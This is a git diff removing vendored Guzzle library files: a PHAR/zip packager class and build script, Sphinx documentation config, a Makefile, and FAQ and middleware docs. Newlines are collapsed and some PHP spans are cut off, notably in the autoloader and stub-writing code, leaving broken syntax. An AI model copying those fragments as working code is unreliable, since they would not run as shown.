* - * This makes the debug messages used in your script more meaningful and - * adds context when things go wrong. Be sure to call endSection() when - * you have finished a section of your packaging script. - * - * @param string $section Part of the packager that is running - */ - public function startSection($section) - { - $this->sections[] = $section; - $this->debug('Starting'); - } - - /** - * Call this method when leaving the last pushed section of the packager. - */ - public function endSection() - { - if ($this->sections) { - $this->debug('Completed'); - array_pop($this->sections); - } - } - - /** - * Prints a debug message to STDERR bound to the current section. - * - * @param string $message Message to echo to STDERR - */ - public function debug($message) - { - $prefix = date('c') . ': '; - - if ($this->sections) { - $prefix .= '[' . end($this->sections) . '] '; - } - - fwrite(STDERR, $prefix . $message . "\n"); - } - - /** - * Copies a file and creates the destination directory if needed. - * - * @param string $from File to copy - * @param string $to Destination to copy the file to, relative to the - * base staging directory. - * @throws \InvalidArgumentException if the file cannot be found - * @throws \RuntimeException if the directory cannot be created. - * @throws \RuntimeException if the file cannot be copied. - */ - public function deepCopy($from, $to) - { - if (!is_file($from)) { - throw new \InvalidArgumentException("File not found: {$from}"); - } - - $to = str_replace('//', '/', $this->stageDir . '/' . $to); - $dir = dirname($to); - - if (!is_dir($dir)) { - if (!mkdir($dir, 0777, true)) { - throw new \RuntimeException("Unable to create directory: $dir"); - } - } - - if (!copy($from, $to)) { - throw new \RuntimeException("Unable to copy $from to $to"); - } - } - - /** - * Recursively copy one folder to another. - * - * Any LICENSE file is automatically copied. - * - * @param string $sourceDir Source directory to copy from - * @param string $destDir Directory to copy the files to that is relative - * to the the stage base directory. - * @param array $extensions File extensions to copy from the $sourceDir. - * Defaults to "php" files only (e.g., ['php']). - * @throws \InvalidArgumentException if the source directory is invalid. - */ - public function recursiveCopy( - $sourceDir, - $destDir, - $extensions = array('php') - ) { - if (!realpath($sourceDir)) { - throw new \InvalidArgumentException("$sourceDir not found"); - } - - if (!$extensions) { - throw new \InvalidArgumentException('$extensions is empty!'); - } - - $sourceDir = realpath($sourceDir); - $exts = array_fill_keys($extensions, true); - $iter = new \RecursiveDirectoryIterator($sourceDir); - $iter = new \RecursiveIteratorIterator($iter); - $total = 0; - - $this->startSection('copy'); - $this->debug("Starting to copy files from $sourceDir"); - - foreach ($iter as $file) { - if (isset($exts[$file->getExtension()]) - || $file->getBaseName() == 'LICENSE' - ) { - // Remove the source directory from the destination path - $toPath = str_replace($sourceDir, '', (string) $file); - $toPath = $destDir . '/' . $toPath; - $toPath = str_replace('//', '/', $toPath); - $this->deepCopy((string) $file, $toPath); - $total++; - } - } - - $this->debug("Copied $total files from $sourceDir"); - $this->endSection(); - } - - /** - * Execute a command and throw an exception if the return code is not 0. - * - * @param string $command Command to execute - * - * @return string Returns the output of the command as a string - * @throws \RuntimeException on error. - */ - public function exec($command) - { - $this->debug("Executing: $command"); - $output = $returnValue = null; - exec($command, $output, $returnValue); - - if ($returnValue != 0) { - throw new \RuntimeException('Error executing command: ' - . $command . ' : ' . implode("\n", $output)); - } - - return implode("\n", $output); - } - - /** - * Creates a class-map autoloader to the staging directory in a file - * named autoloader.php - * - * @param array $files Files to explicitly require in the autoloader. This - * is similar to Composer's "files" "autoload" section. - * @param string $filename Name of the autoloader file. - * @throws \RuntimeException if the file cannot be written - */ - public function createAutoloader($files = array(), $filename = 'autoloader.php') - { - $sourceDir = realpath($this->stageDir); - $iter = new \RecursiveDirectoryIterator($sourceDir); - $iter = new \RecursiveIteratorIterator($iter); - - $this->startSection('autoloader'); - $this->debug('Creating classmap autoloader'); - $this->debug("Collecting valid PHP files from {$this->stageDir}"); - - $classMap = array(); - foreach ($iter as $file) { - if ($file->getExtension() == 'php') { - $location = str_replace($this->stageDir . '/', '', (string) $file); - $className = str_replace('/', '\\', $location); - $className = substr($className, 0, -4); - - // Remove "src\" or "lib\" - if (strpos($className, 'src\\') === 0 - || strpos($className, 'lib\\') === 0 - ) { - $className = substr($className, 4); - } - - $classMap[$className] = "__DIR__ . '/$location'"; - $this->debug("Found $className"); - } - } - - $destFile = $this->stageDir . '/' . $filename; - $this->debug("Writing autoloader to {$destFile}"); - - if (!($h = fopen($destFile, 'w'))) { - throw new \RuntimeException('Unable to open file for writing'); - } - - $this->debug('Writing classmap files'); - fwrite($h, " $f) { - fwrite($h, " '$c' => $f,\n"); - } - fwrite($h, ");\n\n"); - fwrite($h, <<debug('Writing automatically included files'); - foreach ($files as $file) { - fwrite($h, "require __DIR__ . '/$file';\n"); - } - - fclose($h); - - $this->endSection(); - } - - /** - * Creates a default stub for the phar that includeds the generated - * autoloader. - * - * This phar also registers a constant that can be used to check if you - * are running the phar. The constant is the basename of the $dest variable - * without the extension, with "_PHAR" appended, then converted to all - * caps (e.g., "/foo/guzzle.phar" gets a contant defined as GUZZLE_PHAR. - * - * @param $dest - * @param string $autoloaderFilename Name of the autoloader file. - * - * @return string - */ - private function createStub($dest, $autoloaderFilename = 'autoloader.php') - { - $this->startSection('stub'); - $this->debug("Creating phar stub at $dest"); - - $alias = basename($dest); - $constName = str_replace('.phar', '', strtoupper($alias)) . '_PHAR'; - $stub = "endSection(); - - return $stub; - } - - /** - * Creates a phar that automatically registers an autoloader. - * - * Call this only after your staging directory is built. - * - * @param string $dest Where to save the file. The basename of the file - * is also used as the alias name in the phar - * (e.g., /path/to/guzzle.phar => guzzle.phar). - * @param string|bool|null $stub The path to the phar stub file. Pass or - * leave null to automatically have one created for you. Pass false - * to no use a stub in the generated phar. - * @param string $autoloaderFilename Name of the autolaoder filename. - */ - public function createPhar( - $dest, - $stub = null, - $autoloaderFilename = 'autoloader.php' - ) { - $this->startSection('phar'); - $this->debug("Creating phar file at $dest"); - $this->createDirIfNeeded(dirname($dest)); - $phar = new \Phar($dest, 0, basename($dest)); - $phar->buildFromDirectory($this->stageDir); - - if ($stub !== false) { - if (!$stub) { - $stub = $this->createStub($dest, $autoloaderFilename); - } - $phar->setStub($stub); - } - - $this->debug("Created phar at $dest"); - $this->endSection(); - } - - /** - * Creates a zip file containing the staged files of your project. - * - * Call this only after your staging directory is built. - * - * @param string $dest Where to save the zip file - */ - public function createZip($dest) - { - $this->startSection('zip'); - $this->debug("Creating a zip file at $dest"); - $this->createDirIfNeeded(dirname($dest)); - chdir($this->stageDir); - $this->exec("zip -r $dest ./"); - $this->debug(" > Created at $dest"); - chdir(__DIR__); - $this->endSection(); - } - - private function createDirIfNeeded($dir) - { - if (!is_dir($dir) && !mkdir($dir, 0755, true)) { - throw new \RuntimeException("Could not create dir: $dir"); - } - } -} diff --git a/vendor/guzzlehttp/guzzle/build/packager.php b/vendor/guzzlehttp/guzzle/build/packager.php deleted file mode 100644 index 95e5e9983d..0000000000 --- a/vendor/guzzlehttp/guzzle/build/packager.php +++ /dev/null @@ -1,27 +0,0 @@ -deepCopy($file, $file); -} - -// Copy each dependency to the staging directory. Copy *.php and *.pem files. -$packager->recursiveCopy('src', 'GuzzleHttp', ['php']); -$packager->recursiveCopy('vendor/guzzlehttp/promises/src', 'GuzzleHttp/Promise'); -$packager->recursiveCopy('vendor/guzzlehttp/psr7/src', 'GuzzleHttp/Psr7'); -$packager->recursiveCopy('vendor/psr/http-message/src', 'Psr/Http/Message'); - -$packager->createAutoloader([ - 'GuzzleHttp/functions_include.php', - 'GuzzleHttp/Psr7/functions_include.php', - 'GuzzleHttp/Promise/functions_include.php', -]); - -$packager->createPhar(__DIR__ . '/artifacts/guzzle.phar'); -$packager->createZip(__DIR__ . '/artifacts/guzzle.zip'); diff --git a/vendor/guzzlehttp/guzzle/composer.json b/vendor/guzzlehttp/guzzle/composer.json index f3a70d5f18..c01864f013 100644 --- a/vendor/guzzlehttp/guzzle/composer.json +++ b/vendor/guzzlehttp/guzzle/composer.json @@ -1,59 +1,59 @@ -{ - "name": "guzzlehttp/guzzle", - "type": "library", - "description": "Guzzle is a PHP HTTP client library", - "keywords": [ - "framework", - "http", - "rest", - "web service", - "curl", - "client", - "HTTP client" - ], - "homepage": "http://guzzlephp.org/", - "license": "MIT", - "authors": [ - { - "name": "Michael Dowling", - "email": "mtdowling@gmail.com", - "homepage": "https://github.com/mtdowling" - } - ], - "require": { - "php": ">=5.5", - "ext-json": "*", - "symfony/polyfill-intl-idn": "^1.17.0", - "guzzlehttp/promises": "^1.0", - "guzzlehttp/psr7": "^1.6.1" - }, - "require-dev": { - "ext-curl": "*", - "phpunit/phpunit": "^4.8.35 || ^5.7 || ^6.4 || ^7.0", - "psr/log": "^1.1" - }, - "suggest": { - "psr/log": "Required for using the Log middleware" - }, - "config": { - "sort-packages": true - }, - "extra": { - "branch-alias": { - "dev-master": "6.5-dev" - } - }, - "autoload": { - "psr-4": { - "GuzzleHttp\\": "src/" - }, - "files": [ - "src/functions_include.php" - ] - }, - "autoload-dev": { - "psr-4": { - "GuzzleHttp\\Tests\\": "tests/" - } - } -} +{ + "name": "guzzlehttp/guzzle", + "type": "library", + "description": "Guzzle is a PHP HTTP client library", + "keywords": [ + "framework", + "http", + "rest", + "web service", + "curl", + "client", + "HTTP client" + ], + "homepage": "http://guzzlephp.org/", + "license": "MIT", + "authors": [ + { + "name": "Michael Dowling", + "email": "mtdowling@gmail.com", + "homepage": "https://github.com/mtdowling" + } + ], + "require": { + "php": ">=5.5", + "ext-json": "*", + "symfony/polyfill-intl-idn": "^1.17.0", + "guzzlehttp/promises": "^1.0", + "guzzlehttp/psr7": "^1.6.1" + }, + "require-dev": { + "ext-curl": "*", + "phpunit/phpunit": "^4.8.35 || ^5.7 || ^6.4 || ^7.0", + "psr/log": "^1.1" + }, + "suggest": { + "psr/log": "Required for using the Log middleware" + }, + "config": { + "sort-packages": true + }, + "extra": { + "branch-alias": { + "dev-master": "6.5-dev" + } + }, + "autoload": { + "psr-4": { + "GuzzleHttp\\": "src/" + }, + "files": [ + "src/functions_include.php" + ] + }, + "autoload-dev": { + "psr-4": { + "GuzzleHttp\\Tests\\": "tests/" + } + } +} diff --git a/vendor/guzzlehttp/guzzle/docs/Makefile b/vendor/guzzlehttp/guzzle/docs/Makefile deleted file mode 100644 index 2cb6f00e4c..0000000000 --- a/vendor/guzzlehttp/guzzle/docs/Makefile +++ /dev/null @@ -1,153 +0,0 @@ -# Makefile for Sphinx documentation -# - -# You can set these variables from the command line. -SPHINXOPTS = -SPHINXBUILD = sphinx-build -PAPER = -BUILDDIR = _build - -# Internal variables. -PAPEROPT_a4 = -D latex_paper_size=a4 -PAPEROPT_letter = -D latex_paper_size=letter -ALLSPHINXOPTS = -d $(BUILDDIR)/doctrees $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) . -# the i18n builder cannot share the environment and doctrees with the others -I18NSPHINXOPTS = $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) . - -.PHONY: help clean html dirhtml singlehtml pickle json htmlhelp qthelp devhelp epub latex latexpdf text man changes linkcheck doctest gettext - -help: - @echo "Please use \`make ' where is one of" - @echo " html to make standalone HTML files" - @echo " dirhtml to make HTML files named index.html in directories" - @echo " singlehtml to make a single large HTML file" - @echo " pickle to make pickle files" - @echo " json to make JSON files" - @echo " htmlhelp to make HTML files and a HTML help project" - @echo " qthelp to make HTML files and a qthelp project" - @echo " devhelp to make HTML files and a Devhelp project" - @echo " epub to make an epub" - @echo " latex to make LaTeX files, you can set PAPER=a4 or PAPER=letter" - @echo " latexpdf to make LaTeX files and run them through pdflatex" - @echo " text to make text files" - @echo " man to make manual pages" - @echo " texinfo to make Texinfo files" - @echo " info to make Texinfo files and run them through makeinfo" - @echo " gettext to make PO message catalogs" - @echo " changes to make an overview of all changed/added/deprecated items" - @echo " linkcheck to check all external links for integrity" - @echo " doctest to run all doctests embedded in the documentation (if enabled)" - -clean: - -rm -rf $(BUILDDIR)/* - -html: - $(SPHINXBUILD) -b html $(ALLSPHINXOPTS) $(BUILDDIR)/html - @echo - @echo "Build finished. The HTML pages are in $(BUILDDIR)/html." - -dirhtml: - $(SPHINXBUILD) -b dirhtml $(ALLSPHINXOPTS) $(BUILDDIR)/dirhtml - @echo - @echo "Build finished. The HTML pages are in $(BUILDDIR)/dirhtml." - -singlehtml: - $(SPHINXBUILD) -b singlehtml $(ALLSPHINXOPTS) $(BUILDDIR)/singlehtml - @echo - @echo "Build finished. The HTML page is in $(BUILDDIR)/singlehtml." - -pickle: - $(SPHINXBUILD) -b pickle $(ALLSPHINXOPTS) $(BUILDDIR)/pickle - @echo - @echo "Build finished; now you can process the pickle files." - -json: - $(SPHINXBUILD) -b json $(ALLSPHINXOPTS) $(BUILDDIR)/json - @echo - @echo "Build finished; now you can process the JSON files." - -htmlhelp: - $(SPHINXBUILD) -b htmlhelp $(ALLSPHINXOPTS) $(BUILDDIR)/htmlhelp - @echo - @echo "Build finished; now you can run HTML Help Workshop with the" \ - ".hhp project file in $(BUILDDIR)/htmlhelp." - -qthelp: - $(SPHINXBUILD) -b qthelp $(ALLSPHINXOPTS) $(BUILDDIR)/qthelp - @echo - @echo "Build finished; now you can run "qcollectiongenerator" with the" \ - ".qhcp project file in $(BUILDDIR)/qthelp, like this:" - @echo "# qcollectiongenerator $(BUILDDIR)/qthelp/Guzzle.qhcp" - @echo "To view the help file:" - @echo "# assistant -collectionFile $(BUILDDIR)/qthelp/Guzzle.qhc" - -devhelp: - $(SPHINXBUILD) -b devhelp $(ALLSPHINXOPTS) $(BUILDDIR)/devhelp - @echo - @echo "Build finished." - @echo "To view the help file:" - @echo "# mkdir -p $$HOME/.local/share/devhelp/Guzzle" - @echo "# ln -s $(BUILDDIR)/devhelp $$HOME/.local/share/devhelp/Guzzle" - @echo "# devhelp" - -epub: - $(SPHINXBUILD) -b epub $(ALLSPHINXOPTS) $(BUILDDIR)/epub - @echo - @echo "Build finished. The epub file is in $(BUILDDIR)/epub." - -latex: - $(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex - @echo - @echo "Build finished; the LaTeX files are in $(BUILDDIR)/latex." - @echo "Run \`make' in that directory to run these through (pdf)latex" \ - "(use \`make latexpdf' here to do that automatically)." - -latexpdf: - $(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex - @echo "Running LaTeX files through pdflatex..." - $(MAKE) -C $(BUILDDIR)/latex all-pdf - @echo "pdflatex finished; the PDF files are in $(BUILDDIR)/latex." - -text: - $(SPHINXBUILD) -b text $(ALLSPHINXOPTS) $(BUILDDIR)/text - @echo - @echo "Build finished. The text files are in $(BUILDDIR)/text." - -man: - $(SPHINXBUILD) -b man $(ALLSPHINXOPTS) $(BUILDDIR)/man - @echo - @echo "Build finished. The manual pages are in $(BUILDDIR)/man." - -texinfo: - $(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo - @echo - @echo "Build finished. The Texinfo files are in $(BUILDDIR)/texinfo." - @echo "Run \`make' in that directory to run these through makeinfo" \ - "(use \`make info' here to do that automatically)." - -info: - $(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo - @echo "Running Texinfo files through makeinfo..." - make -C $(BUILDDIR)/texinfo info - @echo "makeinfo finished; the Info files are in $(BUILDDIR)/texinfo." - -gettext: - $(SPHINXBUILD) -b gettext $(I18NSPHINXOPTS) $(BUILDDIR)/locale - @echo - @echo "Build finished. The message catalogs are in $(BUILDDIR)/locale." - -changes: - $(SPHINXBUILD) -b changes $(ALLSPHINXOPTS) $(BUILDDIR)/changes - @echo - @echo "The overview file is in $(BUILDDIR)/changes." - -linkcheck: - $(SPHINXBUILD) -b linkcheck $(ALLSPHINXOPTS) $(BUILDDIR)/linkcheck - @echo - @echo "Link check complete; look for any errors in the above output " \ - "or in $(BUILDDIR)/linkcheck/output.txt." - -doctest: - $(SPHINXBUILD) -b doctest $(ALLSPHINXOPTS) $(BUILDDIR)/doctest - @echo "Testing of doctests in the sources finished, look at the " \ - "results in $(BUILDDIR)/doctest/output.txt." diff --git a/vendor/guzzlehttp/guzzle/docs/_static/guzzle-icon.png b/vendor/guzzlehttp/guzzle/docs/_static/guzzle-icon.png deleted file mode 100644 index f1017f7e60..0000000000 Binary files a/vendor/guzzlehttp/guzzle/docs/_static/guzzle-icon.png and /dev/null differ diff --git a/vendor/guzzlehttp/guzzle/docs/_static/logo.png b/vendor/guzzlehttp/guzzle/docs/_static/logo.png deleted file mode 100644 index 965a4ef413..0000000000 Binary files a/vendor/guzzlehttp/guzzle/docs/_static/logo.png and /dev/null differ diff --git a/vendor/guzzlehttp/guzzle/docs/conf.py b/vendor/guzzlehttp/guzzle/docs/conf.py deleted file mode 100644 index b4346bc678..0000000000 --- a/vendor/guzzlehttp/guzzle/docs/conf.py +++ /dev/null @@ -1,68 +0,0 @@ -import sys, os -from sphinx.highlighting import lexers -from pygments.lexers.web import PhpLexer - - -lexers['php'] = PhpLexer(startinline=True, linenos=1) -lexers['php-annotations'] = PhpLexer(startinline=True, linenos=1) -primary_domain = 'php' - -extensions = [] -templates_path = ['_templates'] -source_suffix = '.rst' -master_doc = 'index' -project = u'Guzzle' -copyright = u'2015, Michael Dowling' -version = '6' -html_title = "Guzzle Documentation" -html_short_title = "Guzzle 6" - -exclude_patterns = ['_build'] -html_static_path = ['_static'] - -##### Guzzle sphinx theme - -import guzzle_sphinx_theme -html_translator_class = 'guzzle_sphinx_theme.HTMLTranslator' -html_theme_path = guzzle_sphinx_theme.html_theme_path() -html_theme = 'guzzle_sphinx_theme' - -# Custom sidebar templates, maps document names to template names. -html_sidebars = { - '**': ['logo-text.html', 'globaltoc.html', 'searchbox.html'] -} - -# Register the theme as an extension to generate a sitemap.xml -extensions.append("guzzle_sphinx_theme") - -# Guzzle theme options (see theme.conf for more information) -html_theme_options = { - - # Set the path to a special layout to include for the homepage - # "index_template": "homepage.html", - - # Allow a separate homepage from the master_doc - # homepage = index - - # Set the name of the project to appear in the nav menu - # "project_nav_name": "Guzzle", - - # Set your Disqus short name to enable comments - # "disqus_comments_shortname": "my_disqus_comments_short_name", - - # Set you GA account ID to enable tracking - # "google_analytics_account": "my_ga_account", - - # Path to a touch icon - # "touch_icon": "", - - # Specify a base_url used to generate sitemap.xml links. If not - # specified, then no sitemap will be built. - "base_url": "http://guzzlephp.org" - - # Allow the "Table of Contents" page to be defined separately from "master_doc" - # tocpage = Contents - - # Allow the project link to be overriden to a custom URL. - # projectlink = http://myproject.url -} diff --git a/vendor/guzzlehttp/guzzle/docs/faq.rst b/vendor/guzzlehttp/guzzle/docs/faq.rst deleted file mode 100644 index b6a8aee530..0000000000 --- a/vendor/guzzlehttp/guzzle/docs/faq.rst +++ /dev/null @@ -1,193 +0,0 @@ -=== -FAQ -=== - -Does Guzzle require cURL? -========================= - -No. Guzzle can use any HTTP handler to send requests. This means that Guzzle -can be used with cURL, PHP's stream wrapper, sockets, and non-blocking libraries -like `React `_. You just need to configure an HTTP handler -to use a different method of sending requests. - -.. note:: - - Guzzle has historically only utilized cURL to send HTTP requests. cURL is - an amazing HTTP client (arguably the best), and Guzzle will continue to use - it by default when it is available. It is rare, but some developers don't - have cURL installed on their systems or run into version specific issues. - By allowing swappable HTTP handlers, Guzzle is now much more customizable - and able to adapt to fit the needs of more developers. - - -Can Guzzle send asynchronous requests? -====================================== - -Yes. You can use the ``requestAsync``, ``sendAsync``, ``getAsync``, -``headAsync``, ``putAsync``, ``postAsync``, ``deleteAsync``, and ``patchAsync`` -methods of a client to send an asynchronous request. The client will return a -``GuzzleHttp\Promise\PromiseInterface`` object. You can chain ``then`` -functions off of the promise. - -.. code-block:: php - - $promise = $client->requestAsync('GET', 'http://httpbin.org/get'); - $promise->then(function ($response) { - echo 'Got a response! ' . $response->getStatusCode(); - }); - -You can force an asynchronous response to complete using the ``wait()`` method -of the returned promise. - -.. code-block:: php - - $promise = $client->requestAsync('GET', 'http://httpbin.org/get'); - $response = $promise->wait(); - - -How can I add custom cURL options? -================================== - -cURL offers a huge number of `customizable options `_. -While Guzzle normalizes many of these options across different handlers, there -are times when you need to set custom cURL options. This can be accomplished -by passing an associative array of cURL settings in the **curl** key of a -request. - -For example, let's say you need to customize the outgoing network interface -used with a client. - -.. code-block:: php - - $client->request('GET', '/', [ - 'curl' => [ - CURLOPT_INTERFACE => 'xxx.xxx.xxx.xxx' - ] - ]); - -If you use asynchronous requests with cURL multi handler and want to tweak it, -additional options can be specified as an associative array in the -**options** key of the ``CurlMultiHandler`` constructor. - -.. code-block:: php - - use \GuzzleHttp\Client; - use \GuzzleHttp\HandlerStack; - use \GuzzleHttp\Handler\CurlMultiHandler; - - $client = new Client(['handler' => HandlerStack::create(new CurlMultiHandler([ - 'options' => [ - CURLMOPT_MAX_TOTAL_CONNECTIONS => 50, - CURLMOPT_MAX_HOST_CONNECTIONS => 5, - ] - ]))]); - - -How can I add custom stream context options? -============================================ - -You can pass custom `stream context options `_ -using the **stream_context** key of the request option. The **stream_context** -array is an associative array where each key is a PHP transport, and each value -is an associative array of transport options. - -For example, let's say you need to customize the outgoing network interface -used with a client and allow self-signed certificates. - -.. code-block:: php - - $client->request('GET', '/', [ - 'stream' => true, - 'stream_context' => [ - 'ssl' => [ - 'allow_self_signed' => true - ], - 'socket' => [ - 'bindto' => 'xxx.xxx.xxx.xxx' - ] - ] - ]); - - -Why am I getting an SSL verification error? -=========================================== - -You need to specify the path on disk to the CA bundle used by Guzzle for -verifying the peer certificate. See :ref:`verify-option`. - - -What is this Maximum function nesting error? -============================================ - - Maximum function nesting level of '100' reached, aborting - -You could run into this error if you have the XDebug extension installed and -you execute a lot of requests in callbacks. This error message comes -specifically from the XDebug extension. PHP itself does not have a function -nesting limit. Change this setting in your php.ini to increase the limit:: - - xdebug.max_nesting_level = 1000 - - -Why am I getting a 417 error response? -====================================== - -This can occur for a number of reasons, but if you are sending PUT, POST, or -PATCH requests with an ``Expect: 100-Continue`` header, a server that does not -support this header will return a 417 response. You can work around this by -setting the ``expect`` request option to ``false``: - -.. code-block:: php - - $client = new GuzzleHttp\Client(); - - // Disable the expect header on a single request - $response = $client->request('PUT', '/', ['expect' => false]); - - // Disable the expect header on all client requests - $client = new GuzzleHttp\Client(['expect' => false]); - -How can I track redirected requests? -==================================== - -You can enable tracking of redirected URIs and status codes via the -`track_redirects` option. Each redirected URI and status code will be stored in the -``X-Guzzle-Redirect-History`` and the ``X-Guzzle-Redirect-Status-History`` -header respectively. - -The initial request's URI and the final status code will be excluded from the results. -With this in mind you should be able to easily track a request's full redirect path. - -For example, let's say you need to track redirects and provide both results -together in a single report: - -.. code-block:: php - - // First you configure Guzzle with redirect tracking and make a request - $client = new Client([ - RequestOptions::ALLOW_REDIRECTS => [ - 'max' => 10, // allow at most 10 redirects. - 'strict' => true, // use "strict" RFC compliant redirects. - 'referer' => true, // add a Referer header - 'track_redirects' => true, - ], - ]); - $initialRequest = '/redirect/3'; // Store the request URI for later use - $response = $client->request('GET', $initialRequest); // Make your request - - // Retrieve both Redirect History headers - $redirectUriHistory = $response->getHeader('X-Guzzle-Redirect-History')[0]; // retrieve Redirect URI history - $redirectCodeHistory = $response->getHeader('X-Guzzle-Redirect-Status-History')[0]; // retrieve Redirect HTTP Status history - - // Add the initial URI requested to the (beginning of) URI history - array_unshift($redirectUriHistory, $initialRequest); - - // Add the final HTTP status code to the end of HTTP response history - array_push($redirectCodeHistory, $response->getStatusCode()); - - // (Optional) Combine the items of each array into a single result set - $fullRedirectReport = []; - foreach ($redirectUriHistory as $key => $value) { - $fullRedirectReport[$key] = ['location' => $value, 'code' => $redirectCodeHistory[$key]]; - } - echo json_encode($fullRedirectReport); diff --git a/vendor/guzzlehttp/guzzle/docs/handlers-and-middleware.rst b/vendor/guzzlehttp/guzzle/docs/handlers-and-middleware.rst deleted file mode 100644 index 4124ef075c..0000000000 --- a/vendor/guzzlehttp/guzzle/docs/handlers-and-middleware.rst +++ /dev/null @@ -1,303 +0,0 @@ -======================= -Handlers and Middleware -======================= - -Guzzle clients use a handler and middleware system to send HTTP requests. - -Handlers -======== - -A handler function accepts a ``Psr\Http\Message\RequestInterface`` and array of -request options and returns a ``GuzzleHttp\Promise\PromiseInterface`` that is -fulfilled with a ``Psr\Http\Message\ResponseInterface`` or rejected with an -exception. - -You can provide a custom handler to a client using the ``handler`` option of -a client constructor. It is important to understand that several request -options used by Guzzle require that specific middlewares wrap the handler used -by the client. You can ensure that the handler you provide to a client uses the -default middlewares by wrapping the handler in the -``GuzzleHttp\HandlerStack::create(callable $handler = null)`` static method. - -.. code-block:: php - - use GuzzleHttp\Client; - use GuzzleHttp\HandlerStack; - use GuzzleHttp\Handler\CurlHandler; - - $handler = new CurlHandler(); - $stack = HandlerStack::create($handler); // Wrap w/ middleware - $client = new Client(['handler' => $stack]); - -The ``create`` method adds default handlers to the ``HandlerStack``. When the -``HandlerStack`` is resolved, the handlers will execute in the following order: - -1. Sending request: - - 1. ``http_errors`` - No op when sending a request. The response status code - is checked in the response processing when returning a response promise up - the stack. - 2. ``allow_redirects`` - No op when sending a request. Following redirects - occurs when a response promise is being returned up the stack. - 3. ``cookies`` - Adds cookies to requests. - 4. ``prepare_body`` - The body of an HTTP request will be prepared (e.g., - add default headers like Content-Length, Content-Type, etc.). - 5. - -2. Processing response: - - 1. ``prepare_body`` - no op on response processing. - 2. ``cookies`` - extracts response cookies into the cookie jar. - 3. ``allow_redirects`` - Follows redirects. - 4. ``http_errors`` - throws exceptions when the response status code ``>=`` - 400. - -When provided no ``$handler`` argument, ``GuzzleHttp\HandlerStack::create()`` -will choose the most appropriate handler based on the extensions available on -your system. - -.. important:: - - The handler provided to a client determines how request options are applied - and utilized for each request sent by a client. For example, if you do not - have a cookie middleware associated with a client, then setting the - ``cookies`` request option will have no effect on the request. - - -Middleware -========== - -Middleware augments the functionality of handlers by invoking them in the -process of generating responses. Middleware is implemented as a higher order -function that takes the following form. - -.. code-block:: php - - use Psr\Http\Message\RequestInterface; - - function my_middleware() - { - return function (callable $handler) { - return function (RequestInterface $request, array $options) use ($handler) { - return $handler($request, $options); - }; - }; - } - -Middleware functions return a function that accepts the next handler to invoke. -This returned function then returns another function that acts as a composed -handler-- it accepts a request and options, and returns a promise that is -fulfilled with a response. Your composed middleware can modify the request, -add custom request options, and modify the promise returned by the downstream -handler. - -Here's an example of adding a header to each request. - -.. code-block:: php - - use Psr\Http\Message\RequestInterface; - - function add_header($header, $value) - { - return function (callable $handler) use ($header, $value) { - return function ( - RequestInterface $request, - array $options - ) use ($handler, $header, $value) { - $request = $request->withHeader($header, $value); - return $handler($request, $options); - }; - }; - } - -Once a middleware has been created, you can add it to a client by either -wrapping the handler used by the client or by decorating a handler stack. - -.. code-block:: php - - use GuzzleHttp\HandlerStack; - use GuzzleHttp\Handler\CurlHandler; - use GuzzleHttp\Client; - - $stack = new HandlerStack(); - $stack->setHandler(new CurlHandler()); - $stack->push(add_header('X-Foo', 'bar')); - $client = new Client(['handler' => $stack]); - -Now when you send a request, the client will use a handler composed with your -added middleware, adding a header to each request. - -Here's an example of creating a middleware that modifies the response of the -downstream handler. This example adds a header to the response. - -.. code-block:: php - - use Psr\Http\Message\RequestInterface; - use Psr\Http\Message\ResponseInterface; - use GuzzleHttp\HandlerStack; - use GuzzleHttp\Handler\CurlHandler; - use GuzzleHttp\Client; - - function add_response_header($header, $value) - { - return function (callable $handler) use ($header, $value) { - return function ( - RequestInterface $request, - array $options - ) use ($handler, $header, $value) { - $promise = $handler($request, $options); - return $promise->then( - function (ResponseInterface $response) use ($header, $value) { - return $response->withHeader($header, $value); - } - ); - }; - }; - } - - $stack = new HandlerStack(); - $stack->setHandler(new CurlHandler()); - $stack->push(add_response_header('X-Foo', 'bar')); - $client = new Client(['handler' => $stack]); - -Creating a middleware that modifies a request is made much simpler using the -``GuzzleHttp\Middleware::mapRequest()`` middleware. This middleware accepts -a function that takes the request argument and returns the request to send. - -.. code-block:: php - - use Psr\Http\Message\RequestInterface; - use GuzzleHttp\HandlerStack; - use GuzzleHttp\Handler\CurlHandler; - use GuzzleHttp\Client; - use GuzzleHttp\Middleware; - - $stack = new HandlerStack(); - $stack->setHandler(new CurlHandler()); - - $stack->push(Middleware::mapRequest(function (RequestInterface $request) { - return $request->withHeader('X-Foo', 'bar'); - })); - - $client = new Client(['handler' => $stack]); - -Modifying a response is also much simpler using the -``GuzzleHttp\Middleware::mapResponse()`` middleware. - -.. code-block:: php - - use Psr\Http\Message\ResponseInterface; - use GuzzleHttp\HandlerStack; - use GuzzleHttp\Handler\CurlHandler; - use GuzzleHttp\Client; - use GuzzleHttp\Middleware; - - $stack = new HandlerStack(); - $stack->setHandler(new CurlHandler()); - - $stack->push(Middleware::mapResponse(function (ResponseInterface $response) { - return $response->withHeader('X-Foo', 'bar'); - })); - - $client = new Client(['handler' => $stack]); - - -HandlerStack -============ - -A handler stack represents a stack of middleware to apply to a base handler -function. You can push middleware to the stack to add to the top of the stack, -and unshift middleware onto the stack to add to the bottom of the stack. When -the stack is resolved, the handler is pushed onto the stack. Each value is -then popped off of the stack, wrapping the previous value popped off of the -stack. - -.. code-block:: php - - use Psr\Http\Message\RequestInterface; - use GuzzleHttp\HandlerStack; - use GuzzleHttp\Middleware; - use GuzzleHttp\Client; - - $stack = new HandlerStack(); - $stack->setHandler(\GuzzleHttp\choose_handler()); - - $stack->push(Middleware::mapRequest(function (RequestInterface $r) { - echo 'A'; - return $r; - }); - - $stack->push(Middleware::mapRequest(function (RequestInterface $r) { - echo 'B'; - return $r; - }); - - $stack->push(Middleware::mapRequest(function (RequestInterface $r) { - echo 'C'; - return $r; - }); - - $client->request('GET', 'http://httpbin.org/'); - // echoes 'ABC'; - - $stack->unshift(Middleware::mapRequest(function (RequestInterface $r) { - echo '0'; - return $r; - }); - - $client = new Client(['handler' => $stack]); - $client->request('GET', 'http://httpbin.org/'); - // echoes '0ABC'; - -You can give middleware a name, which allows you to add middleware before -other named middleware, after other named middleware, 